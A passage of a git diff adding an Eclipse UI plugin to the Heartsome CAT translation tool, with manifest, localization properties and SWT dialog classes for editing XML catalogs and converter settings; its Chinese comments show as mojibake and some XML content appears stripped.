Mar 03 17:50:15 CST 2012 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.advanced/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.advanced/META-INF/MANIFEST.MF new file mode 100644 index 0000000..2708f09 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/META-INF/MANIFEST.MF @@ -0,0 +1,20 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI Advanced +Bundle-SymbolicName: net.heartsome.cat.ts.ui.advanced;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130411 +Bundle-Activator: net.heartsome.cat.ts.ui.advanced.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + org.eclipse.core.filesystem;bundle-version="1.3.100", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.ui.dialog, + org.eclipse.ui.internal.ide.dialogs +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.advanced/build.properties b/ts/net.heartsome.cat.ts.ui.advanced/build.properties new file mode 100644 index 0000000..47fd1be --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/build.properties @@ -0,0 +1,11 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + icons/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties +jre.compilation.profile = J2SE-1.5 diff --git a/ts/net.heartsome.cat.ts.ui.advanced/icons/content-set.png b/ts/net.heartsome.cat.ts.ui.advanced/icons/content-set.png new file mode 100644 index 0000000..1596ee6 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.advanced/icons/content-set.png differ diff --git a/ts/net.heartsome.cat.ts.ui.advanced/icons/srx-set.png b/ts/net.heartsome.cat.ts.ui.advanced/icons/srx-set.png new file mode 100644 index 0000000..2fbbe3b Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.advanced/icons/srx-set.png differ diff --git a/ts/net.heartsome.cat.ts.ui.advanced/icons/tips.gif b/ts/net.heartsome.cat.ts.ui.advanced/icons/tips.gif new file mode 100644 index 0000000..7f6cded Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.advanced/icons/tips.gif differ diff --git a/ts/net.heartsome.cat.ts.ui.advanced/icons/xml-set.png b/ts/net.heartsome.cat.ts.ui.advanced/icons/xml-set.png new file mode 100644 index 0000000..99d032f Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.advanced/icons/xml-set.png differ diff --git a/ts/net.heartsome.cat.ts.ui.advanced/plugin.properties b/ts/net.heartsome.cat.ts.ui.advanced/plugin.properties new file mode 100644 index 0000000..8fbc101 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/plugin.properties @@ -0,0 +1,8 @@ +menu.advanced = \u9ad8\u7ea7(&A) +menu.advanced.catalog = Catalog \u7ba1\u7406\u5668... +menu.advanced.XmlConverter = \u914d\u7f6e XML \u8f6c\u6362\u5668... +menu.advanced.SRX = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668... +command.advanced = \u9ad8\u7ea7 +command.catalog = \u76ee\u5f55\u7ba1\u7406\u5668 +command.XmlConverter = \u914d\u7f6e XML \u8f6c\u6362\u5668 +command.SRX = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.advanced/plugin.xml b/ts/net.heartsome.cat.ts.ui.advanced/plugin.xml new file mode 100644 index 0000000..8af4275 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/plugin.xml @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.advanced/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.advanced/plugin_en.properties new file mode 100644 index 0000000..2bf13e5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/plugin_en.properties @@ -0,0 +1,8 @@ +menu.advanced = &Advanced +menu.advanced.catalog = Catalog Manager... +menu.advanced.XmlConverter = Configure XML Converter... +menu.advanced.SRX = Segmentation Rule Manager... +command.advanced = Advanced +command.catalog = Catalog Manager +command.XmlConverter = Configure XML Converter +command.SRX = Segmentation Rule Manager diff --git a/ts/net.heartsome.cat.ts.ui.advanced/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.advanced/plugin_zh.properties new file mode 100644 index 0000000..8fbc101 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/plugin_zh.properties @@ -0,0 +1,8 @@ +menu.advanced = \u9ad8\u7ea7(&A) +menu.advanced.catalog = Catalog \u7ba1\u7406\u5668... +menu.advanced.XmlConverter = \u914d\u7f6e XML \u8f6c\u6362\u5668... +menu.advanced.SRX = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668... +command.advanced = \u9ad8\u7ea7 +command.catalog = \u76ee\u5f55\u7ba1\u7406\u5668 +command.XmlConverter = \u914d\u7f6e XML \u8f6c\u6362\u5668 +command.SRX = \u5206\u6bb5\u89c4\u5219\u7ba1\u7406\u5668 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/ADConstants.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/ADConstants.java new file mode 100644 index 0000000..db5993c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/ADConstants.java @@ -0,0 +1,27 @@ +package net.heartsome.cat.ts.ui.advanced; + +import java.io.File; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Platform; + +/** + * 高级æ’ä»¶æ‰€ç”¨åˆ°çš„å¸¸é‡ + * @author robert 2012-02-17 + * @version + * @since JDK1.6 + */ +public class ADConstants { + private static String sep = File.separator; + public static String configLocation = Platform.getConfigurationLocation().getURL().getPath(); + + /** catalogue.xml的文件路径 */ + public static final String catalogueXmlPath = ".metadata/net.heartsome.cat.converter/catalogue/catalogue.xml"; + public static final String cataloguePath = ".metadata/net.heartsome.cat.converter/catalogue"; + /** 选择目录åŽä¿å­˜æ‰€é€‰æ–‡ä»¶çš„文件夹路径 */ + public static final String AD_cataBrowseFileMemory = "ts.ad.cataBrowseFileMemory"; + /** xml转æ¢å™¨é…置中,é…置文件在产å“所存放的ä½ç½® */ + public static final String AD_xmlConverterConfigFolder = ".metadata/net.heartsome.cat.converter/ini"; + public static final String AD_SRXConfigFolder = "net.heartsome.cat.converter" + sep + "srx"; + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/Activator.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/Activator.java new file mode 100644 index 0000000..df69405 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/Activator.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.ts.ui.advanced; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.advanced"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + + +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/TableViewerLabelProvider.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/TableViewerLabelProvider.java new file mode 100644 index 0000000..09b3a81 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/TableViewerLabelProvider.java @@ -0,0 +1,22 @@ +package net.heartsome.cat.ts.ui.advanced; + +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.swt.graphics.Image; +/** + * tableViewer的标签æ供器 + * @author robert + */ +public class TableViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof String[]) { + String[] array = (String[]) element; + return array[columnIndex]; + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditCatalogDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditCatalogDialog.java new file mode 100644 index 0000000..2ea6611 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditCatalogDialog.java @@ -0,0 +1,262 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.internal.filesystem.local.LocalFile; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加æ¡ç›®æ¡† + * @author robert 2011-02-20 + * @version + * @since JDK1.6 + */ +@SuppressWarnings("restriction") +public class AddOrEditCatalogDialog extends Dialog { + private Button publicBtn; + private Button systermBtn; + private Button uriBtn; + private Button nextCataBtn; + private Text idTxt; + private Text urlTxt; + private IWorkspaceRoot root; + private ADXmlHandler adHandler; + private String catalogXmlLocation; + private Label idLbl; + private boolean isAdd; + private String curXpath; + + public AddOrEditCatalogDialog(Shell parentShell, IWorkspaceRoot root, ADXmlHandler adHandler, boolean isAdd) { + super(parentShell); + this.root = root; + this.adHandler = adHandler; + catalogXmlLocation = root.getLocation().append(ADConstants.catalogueXmlPath).toOSString(); + this.isAdd = isAdd; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(isAdd ? Messages.getString("dialogs.AddOrEditCatalogDialog.title1") : Messages + .getString("dialogs.AddOrEditCatalogDialog.title2")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tParent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().hint(600, 150).grab(true, true).applyTo(tParent); + + Composite contentCmp = new Composite(tParent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(contentCmp); + GridLayoutFactory.fillDefaults().numColumns(3).applyTo(contentCmp); + + GridData labelData = new GridData(SWT.FILL, SWT.CENTER, false, false); + + // 第一行,类型选择行 + Label typeLbl = new Label(contentCmp, SWT.RIGHT | SWT.NONE); + typeLbl.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.typeLbl")); + typeLbl.setLayoutData(labelData); + + Composite radioCmp = new Composite(contentCmp, SWT.NONE); + radioCmp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 2, SWT.DEFAULT)); + radioCmp.setLayout(new GridLayout(4, false)); + + publicBtn = new Button(radioCmp, SWT.RADIO); + publicBtn.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.publicBtn")); + + systermBtn = new Button(radioCmp, SWT.RADIO); + systermBtn.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.systermBtn")); + + uriBtn = new Button(radioCmp, SWT.RADIO); + uriBtn.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.uriBtn")); + + nextCataBtn = new Button(radioCmp, SWT.RADIO); + nextCataBtn.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.nextCataBtn")); + + // 第二行--idè¡Œ + idLbl = new Label(contentCmp, SWT.RIGHT); + idLbl.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.idLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(idLbl); + + idTxt = new Text(contentCmp, SWT.BORDER); + idTxt.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 2, SWT.DEFAULT)); + + // 第三行--url选择行 + Label urlLbl = new Label(contentCmp, SWT.RIGHT); + urlLbl.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.urlLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(urlLbl); + + urlTxt = new Text(contentCmp, SWT.BORDER); + urlTxt.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false)); + urlTxt.setEditable(false); + + Button browseBtn = new Button(contentCmp, SWT.NONE); + browseBtn.setText(Messages.getString("dialogs.AddOrEditCatalogDialog.browseBtn")); + + browseBtn.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + browseFiles(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + browseFiles(); + } + }); + + publicBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + displayIdTxt(true); + } + }); + + systermBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + displayIdTxt(true); + } + }); + uriBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + displayIdTxt(true); + } + }); + nextCataBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + displayIdTxt(false); + } + }); + + return tParent; + } + + @Override + protected void okPressed() { + if (!publicBtn.getSelection() && !systermBtn.getSelection() && !uriBtn.getSelection() + && !nextCataBtn.getSelection()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.AddOrEditCatalogDialog.msgTitle"), + Messages.getString("dialogs.AddOrEditCatalogDialog.msg1")); + return; + } + + StringBuffer strB = new StringBuffer(); + if (publicBtn.getSelection()) { + strB.append(MessageFormat.format("{2}", + new Object[] { idTxt.getText(), urlTxt.getText(), isAdd ? "\t" : "" })); + } else if (systermBtn.getSelection()) { + strB.append(MessageFormat.format("{2}", + new Object[] { idTxt.getText(), urlTxt.getText(), isAdd ? "\t" : "" })); + } else if (uriBtn.getSelection()) { + strB.append(MessageFormat.format("{2}", new Object[] { idTxt.getText(), + urlTxt.getText(), isAdd ? "\t" : "" })); + } else if (nextCataBtn.getSelection()) { + strB.append(MessageFormat.format("{1}", new Object[] { urlTxt.getText(), + isAdd ? "\t" : "" })); + } + + // 添加 + if (isAdd) { + if (!adHandler.addDataToXml(catalogXmlLocation, "/catalog", strB.toString())) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AddOrEditCatalogDialog.msgTitle"), + Messages.getString("dialogs.AddOrEditCatalogDialog.msg2")); + } + } else { + // 修改 + if (!adHandler.updataDataToXml(catalogXmlLocation, curXpath, strB.toString())) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AddOrEditCatalogDialog.msgTitle"), + Messages.getString("dialogs.AddOrEditCatalogDialog.msg2")); + } + } + + super.okPressed(); + } + + public void setInitData(String name, String id, String url, String curXpath) { + this.curXpath = curXpath; + + if ("public".equalsIgnoreCase(name)) { + publicBtn.setSelection(true); + idTxt.setText(id); + urlTxt.setText(url); + } else if ("system".equalsIgnoreCase(name)) { + systermBtn.setSelection(true); + idTxt.setText(id); + urlTxt.setText(url); + } else if ("uri".equalsIgnoreCase(name)) { + uriBtn.setSelection(true); + idTxt.setText(id); + urlTxt.setText(url); + } else if ("nextCatalog".equalsIgnoreCase(name)) { + nextCataBtn.setSelection(true); + displayIdTxt(false); + urlTxt.setText(url); + } + } + + public void displayIdTxt(boolean isDisplay) { + idLbl.setVisible(isDisplay); + idTxt.setVisible(isDisplay); + } + + /** + * 选择文件 ; + */ + public void browseFiles() { + FileFolderSelectionDialog dialog = new FileFolderSelectionDialog(getShell(), false, IResource.FILE); + dialog.setMessage(Messages.getString("dialogs.AddOrEditCatalogDialog.dialogMsg")); + dialog.setDoubleClickSelects(true); + + try { + dialog.setInput(EFS.getStore(URIUtil.toURI(root.getLocation().append(ADConstants.cataloguePath)))); + + } catch (CoreException e1) { + e1.printStackTrace(); + } + dialog.create(); + dialog.getShell().setText(Messages.getString("dialogs.AddOrEditCatalogDialog.dialogTitle")); + dialog.open(); + if (dialog.getFirstResult() != null) { + Object object = dialog.getFirstResult(); + if (object instanceof LocalFile) { + LocalFile localFile = (LocalFile) object; + String location = localFile.toString(); + String catalogurePath = root.getLocation().append(ADConstants.cataloguePath).toOSString(); + String uriStr = ""; + if (location.indexOf(catalogurePath) != -1) { + uriStr = location.substring(location.indexOf(catalogurePath) + catalogurePath.length(), location.length()); + } + uriStr = uriStr.substring(1, uriStr.length()); + urlTxt.setText(uriStr); + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditElementOfXmlConvertDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditElementOfXmlConvertDialog.java new file mode 100644 index 0000000..7ed8110 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditElementOfXmlConvertDialog.java @@ -0,0 +1,268 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.model.ElementBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * XML转æ¢å™¨é…置的元素é…置,包括添加或修改 + * @author robert 2012-02-23 + * @version + * @since JDK1.6 + */ +public class AddOrEditElementOfXmlConvertDialog extends Dialog { + /** 是å¦æ˜¯æ·»åŠ ç•Œé¢ */ + private boolean isAdd; + /** 元素å称文本框 */ + private Text nameTxt; + /** 类型下拉框 */ + private Combo typeCmb; + /** 内è”类型下拉框 */ + private Combo inlineCmb; + /** å¯ç¿»è¯‘属性文本框 */ + private Text transAtrriTxt; + /** ä¿ç•™ç©ºæ ¼ä¸‹æ‹‰æ¡† */ + private Combo remainSpaceCmb; + private List elementsList; + /** 当å‰æ‰€æ·»åŠ ï¼Œæˆ–修改的元素,用于æ“作之åŽåˆ—è¡¨çš„å®šä½ */ + private ElementBean currentElement; + + public AddOrEditElementOfXmlConvertDialog(Shell parentShell, boolean isAdd, List elementsList) { + super(parentShell); + this.isAdd = isAdd; + this.elementsList = elementsList; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.title")); + + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.ok")); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).applyTo(tparent); + + Composite composite = new Composite(tparent, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, true).applyTo(composite); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(composite); + + // 元素类型下拉框的值, 备注:ä¸èƒ½æœ¬åœ°åŒ– + String[] typeValues = { "segment", "inline", "ignore" }; + // 内è”类型下拉框的值, 备注:ä¸èƒ½æœ¬åœ°åŒ– + String[] internalValues = { "", "image", "pb", "lb", "x-bold", "x-entry", "x-font", "x-italic", "x-link", + "x-underlined", "x-other" }; + // ä¿ç•™ç©ºæ ¼ä¸‹æ‹‰æ¡†çš„值, 备注:ä¸èƒ½æœ¬åœ°åŒ– + String[] remainSpaceVlaues = { "", "yes", "no" }; + + GridData textData = new GridData(SWT.FILL, SWT.CENTER, true, false); + textData.widthHint = 100; + + // 元素å称 + Label nameLbl = new Label(composite, SWT.NONE); + nameLbl.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.nameLbl")); + nameLbl.setAlignment(SWT.RIGHT); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(nameLbl); + + nameTxt = new Text(composite, SWT.BORDER); + nameTxt.setLayoutData(textData); + + // 元素类型 + Label typeLbl = new Label(composite, SWT.NONE); + typeLbl.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.typeLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(typeLbl); + + typeCmb = new Combo(composite, SWT.BORDER | SWT.READ_ONLY); + typeCmb.setLayoutData(textData); + typeCmb.setItems(typeValues); + typeCmb.select(0); + + // 内è”类型 + Label inlineLbl = new Label(composite, SWT.NONE); + inlineLbl.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.inlineLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(inlineLbl); + + inlineCmb = new Combo(composite, SWT.BORDER | SWT.READ_ONLY); + inlineCmb.setLayoutData(textData); + inlineCmb.setItems(internalValues); + inlineCmb.setEnabled(false); + + // å¯ç¿»è¯‘属性 + Label transAttriLbl = new Label(composite, SWT.NONE); + transAttriLbl.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.transAttriLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(transAttriLbl); + + transAtrriTxt = new Text(composite, SWT.BORDER); + transAtrriTxt.setLayoutData(textData); + + // ä¿ç•™ç©ºæ ¼ + Label remainSpaceLbl = new Label(composite, SWT.NONE); + remainSpaceLbl.setText(Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.remainSpaceLbl")); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).grab(false, false).applyTo(remainSpaceLbl); + + remainSpaceCmb = new Combo(composite, SWT.BORDER | SWT.READ_ONLY); + remainSpaceCmb.setLayoutData(textData); + remainSpaceCmb.setItems(remainSpaceVlaues); + + // 当元素类型是segment时,ç¦ç”¨å†…è”内型,当元素类型是inline时,ç¦ç”¨å¯ç¿»è¯‘属性。当元素类型是ignore时,ç¦ç”¨å¯ç¿»è¯‘属性与内è”内型 + typeCmb.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + String type = typeCmb.getText(); + if ("segment".equals(type)) { + inlineCmb.setText(""); + inlineCmb.setEnabled(false); + transAtrriTxt.setEnabled(true); + } else if ("inline".equals(type)) { + inlineCmb.setEnabled(true); + transAtrriTxt.setText(""); + transAtrriTxt.setEnabled(false); + } else if ("ignore".equals(type)) { + inlineCmb.setText(""); + inlineCmb.setEnabled(false); + transAtrriTxt.setText(""); + transAtrriTxt.setEnabled(false); + } + } + }); + + return tparent; + } + + @Override + protected void okPressed() { + String elementName = nameTxt.getText().trim(); + // 添加 + if (isAdd) { + int index = -1; + // 验è¯æ˜¯å¦ä¸ºç©º + if (validNameNull(elementName)) { + return; + } else { + ElementBean element = new ElementBean(elementName, typeCmb.getText(), inlineCmb.getText(), + transAtrriTxt.getText().trim(), remainSpaceCmb.getText()); + // 验è¯æ·»åŠ çš„元素å是å¦é‡å¤ + if ((index = validrepeat(elementName)) != -1) { + boolean response = MessageDialog.openConfirm(getShell(), Messages + .getString("dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle1"), MessageFormat.format( + Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.msg1"), elementName)); + + if (response) { + elementsList.set(index, element); + } else { + return; + } + } else { + // 没有é‡å¤ã€‚则添加 + elementsList.add(element); + } + currentElement = element; + } + } else {// 这是修改 + // 验è¯æ˜¯å¦ä¸ºç©º + if (validNameNull(elementName)) { + return; + } else { + int index = elementsList.indexOf(currentElement); + ElementBean element = new ElementBean(elementName, typeCmb.getText(), inlineCmb.getText(), + transAtrriTxt.getText().trim(), remainSpaceCmb.getText()); + elementsList.set(index, element); + currentElement = element; + } + } + super.okPressed(); + } + + /** + * 设置编辑时的åˆå§‹åŒ–æ•°æ® ; + */ + public void setInitEditData(ElementBean bean) { + nameTxt.setText(bean.getName()); + typeCmb.setText(bean.getType()); + inlineCmb.setText(bean.getInlineType()); + transAtrriTxt.setText(bean.getTransAttribute()); + remainSpaceCmb.setText(bean.getRemainSpace()); + + currentElement = bean; + } + + /** + * 验è¯æ‰€è¦æ·»åŠ çš„元素å是å¦é‡å¤ 返回é‡å¤å…ƒç´ çš„下标值,若返回ï¼1,则标志ä¸é‡å¤ + * @return ; + */ + public int validrepeat(String elementName) { + Iterator iter = elementsList.iterator(); + ElementBean bean; + while (iter.hasNext()) { + bean = iter.next(); + if (elementName.equals(bean.getName())) { + return elementsList.indexOf(bean); + } + } + return -1; + } + + public ElementBean getElementBean(String elementName) { + ElementBean bean; + Iterator iter = elementsList.iterator(); + while (iter.hasNext()) { + bean = iter.next(); + if (elementName.equals(bean.getName())) { + return bean; + } + } + return null; + } + + public ElementBean getCurrentElement() { + return currentElement; + + } + + /** + * 验è¯å…ƒç´ å是å¦ä¸ºç©ºï¼Œé’ˆå¯¹ç”¨æˆ·æœªåœ¨å…ƒç´ å一æ å¡«å†™å…ƒç´ å + * @param elementName + * @return ;若为空,则为true + */ + public boolean validNameNull(String elementName) { + if (elementName == null || "".equals(elementName)) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.msgTitle2"), + Messages.getString("dialogs.AddOrEditElementOfXmlConvertDialog.msg2")); + nameTxt.setFocus(); + return true; + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditXmlConvertConfigDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditXmlConvertConfigDialog.java new file mode 100644 index 0000000..3b6fa6e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/AddOrEditXmlConvertConfigDialog.java @@ -0,0 +1,290 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.io.File; +import java.text.MessageFormat; +import java.util.Map; + +import net.heartsome.cat.ts.core.qa.QAConstant; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.Activator; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import 